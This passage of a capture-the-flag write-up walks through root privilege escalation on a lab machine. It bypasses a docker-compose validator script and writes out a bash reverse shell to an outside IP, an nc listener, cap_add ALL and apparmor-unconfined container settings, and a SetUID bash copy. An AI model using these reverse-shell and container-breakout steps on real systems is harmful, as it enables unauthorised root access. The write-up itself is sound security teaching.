                    print(f"Service '{service}' is malicious.")
                    return False
                if not check_no_symlinks(volumes):
                    print(f"Service '{service}' contains a symbolic link in the volume, which is not allowed.")
                    return False
    return True

def create_random_temp_dir():
    letters_digits = string.ascii_letters + string.digits
    random_str = ''.join(random.choice(letters_digits) for i in range(6))
    temp_dir = f"/tmp/tmp-{random_str}"
    return temp_dir

def copy_docker_compose_to_temp_dir(filename, temp_dir):
    os.makedirs(temp_dir, exist_ok=True)
    shutil.copy(filename, os.path.join(temp_dir, "docker-compose.yml"))

def cleanup(temp_dir):
    subprocess.run(["/usr/bin/docker-compose", "down", "--volumes"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    shutil.rmtree(temp_dir)

def signal_handler(sig, frame):
    print("\nSIGINT received. Cleaning up...")
    cleanup(temp_dir)
    sys.exit(1)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Use: {sys.argv[0]} <docker-compose.yml>")
        sys.exit(1)

    filename = sys.argv[1]
    if main(filename):
        temp_dir = create_random_temp_dir()
        copy_docker_compose_to_temp_dir(filename, temp_dir)
        os.chdir(temp_dir)
        
        signal.signal(signal.SIGINT, signal_handler)

        print("Starting services...")
        result = subprocess.run(["/usr/bin/docker-compose", "up", "--build"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        print("Finishing services")

        cleanup(temp_dir)

So let’s break things up to be able to identify what this script do .Starting form the main function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Use: {sys.argv[0]} <docker-compose.yml>")
        sys.exit(1)

    filename = sys.argv[1]
    if main(filename):
        temp_dir = create_random_temp_dir()
        copy_docker_compose_to_temp_dir(filename, temp_dir)
        os.chdir(temp_dir)
        
        signal.signal(signal.SIGINT, signal_handler)

        print("Starting services...")
        result = subprocess.run(["/usr/bin/docker-compose", "up", "--build"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        print("Finishing services")

        cleanup(temp_dir)

The previous main code will do the following :

  • Checks that exactly one arg is provided else it will exit
  • The arg which will be provide is the filename
  • Run the function which called main on the file which does a bunch of validation on the argument then returning True or False
  • If the previous function return True then the following will done :
    • Create a temp directory then copies the input file into that directory named docker-compose.yml
    • Configure signal handler then calls subprocess to run docker-compose up --build onf the file
    • After starting the container it will do a cleanup which calls docker-compose down --volumes and then removes the temp directory

This is the main function which will do the checks

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def main(filename):

    if not os.path.exists(filename):
        print(f"File not found")
        return False

    with open(filename, "r") as file:
        try:
            data = yaml.safe_load(file)
        except yaml.YAMLError as e:
            print(f"Error: {e}")
            return False

        if "services" not in data:
            print("Invalid docker-compose.yml")
            return False

        services = data["services"]

        if not check_no_privileged(services):
            print("Privileged mode is not allowed.")
            return False

        for service, config in services.items():
            if "volumes" in config:
                volumes = config["volumes"]
                if not check_whitelist(volumes) or not check_read_only(volumes):
                    print(f"Service '{service}' is malicious.")
                    return False
                if not check_no_symlinks(volumes):
                    print(f"Service '{service}' contains a symbolic link in the volume, which is not allowed.")
                    return False
    return True

The function do the following :

  • Check that the file exists
  • Run yaml.safe_load to parse the yml file and returns the corresponding Python data structure
  • Validate that it has a services key as all compose files must have
  • Check for the existance of privileged flag in the items because this can disable lots of protections as you can see in this link
  • Make the following checks on the volumes defined in the compose:
    • check_whitelist : This function check that the volume has three items separated by : and that the host path is on an allowed list
    • check_read_only : This function makes sure that each volume definition string ends in :ro to make it read only.
    • check_no_symlinks : This function checks if the volumes are symlinks or not.

Priv Esclation

Let’s create normale docker-compose file and test if we can get shell on it

1
2
3
4
5
6
7
version: "3"
services:
  web:
    image: cybermonday_api
    command: bash -c 'bash -i >& /dev/tcp/10.10.16.67/9001 0>&1'
    volumes:
      - /home/john:/john_replica:ro

Explanation

  • version: “3”: Specifies the version of the Docker Compose file format.
  • services: Defines the services that make up your application.
  • web: The name of the service, in this case, “web”
  • image: cybermonday_api: Specifies the Docker image to use for this service. In this case, it’s using an image named “cybermonday_api”
  • command: bash -c ‘bash -i >& /dev/tcp/10.10.16.67/9001 0>&1’: Overrides the default command to be executed when the container starts. In this case, it runs a Bash command that establishes a reverse shell to the IP address 10.10.16.67 on port 9001.
  • volumes: - /home/john:/john_replica:ro : Mounts the host directory /home/john into the container at the path /john_replica in read-only mode (ro stands for read-only). This allows data from the host’s /home/john to be accessed by the container.

Run the Contatiner

1
2
3
john@cybermonday:~$ sudo /opt/secure_compose.py 0xRyuzak1.yml
[sudo] password for john: 
Starting services...

Getting rev shell

1
2
3
4
5
6
(kali㉿kali)-[~]$ nc -lvnp 9001            
listening on [any] 9001 ...
connect to [10.10.16.67] from (UNKNOWN) [10.10.11.228] 39204
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@6da4b1193c24:/var/www/html# 

Now let’s try to remount the /john_replica but with write permission we can’t do this from the docker-compose file because the script check for the ro and allow it only and not allow write permissions

1
2
3
root@b919eb60dec1:~# mount -o remount,rw /john
mount: /john: permission denied.
       dmesg(1) may have more information after failed mount system call.

According to this link let’s try to adding capabilities to the container to give it more permissions

This can be done by adding the following two lines

1
2
3
4
5
6
7
8
9
version: "3"
services:
  web:
    image: cybermonday_api
    command: bash -c 'bash -i >& /dev/tcp/10.10.16.67/9001 0>&1'
    volumes:
      - /home/john:/john_replica:ro
    cap_add:
      - ALL

Trying the remount again

1
2
3
4
root@6da4b1193c24:/var/www/html# mount -o remount,rw /john_replica
mount -o remount,rw /john_replica
mount: /john_replica: cannot remount /dev/sda1 read-write, is write-protected.
       dmesg(1) may have more information after failed mount system call.

Now we getting somewhere because the error changes

After some search i found this docker command to up a full privs in container without --privileged

1
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash

So i tryied to replicate all options using docker compose file and finally i found that the answer will be like the following

1
2
3
4
5
6
7
8
9
10
11
version: "3"
services:
  web:
    image: cybermonday_api
    command: bash -c 'bash -i >& /dev/tcp/10.10.16.67/9001 0>&1'
    volumes:
      - /home/john:/john_replica:ro
    cap_add:
      - ALL
    security_opt:
      - apparmor:unconfined

Now let’s trying again and finally it’s working fine

1
2
3
root@6da4b1193c24:/var/www/html# mount -o remount,rw /john_replica
mount -o remount,rw /john_replica
root@6da4b1193c24:/var/www/html# 

SetUID

Now let’s copy the bash binary to john home dir

1
john@cybermonday:~$ cp /bin/bash 0xRyuzak1

Now in the container let’s update the owner and set it as SetUID/SetGID

1
2
root@6da4b1193c24:/john# chown root:root 0xRyuzak1
root@6da4b1193c24:/john# chmod 6777 0xRyuzak1 

After that from the machine we can finally root the machine like the following

1
2
3
4
5
john@cybermonday:~$ ./0xRyuzak1 -p
0xRyuzak1-5.1# whoami
root
0xRyuzak1-5.1# id
uid=1000(john) gid=1000(john) euid=0(root) egid=0(root) groups=0(root),1000(john)

We can get the root.txt file now

1
2
0xRyuzak1-5.1# cat /root/root.txt
af648a57d10c********************
This post is licensed under CC BY 4.0 by the author.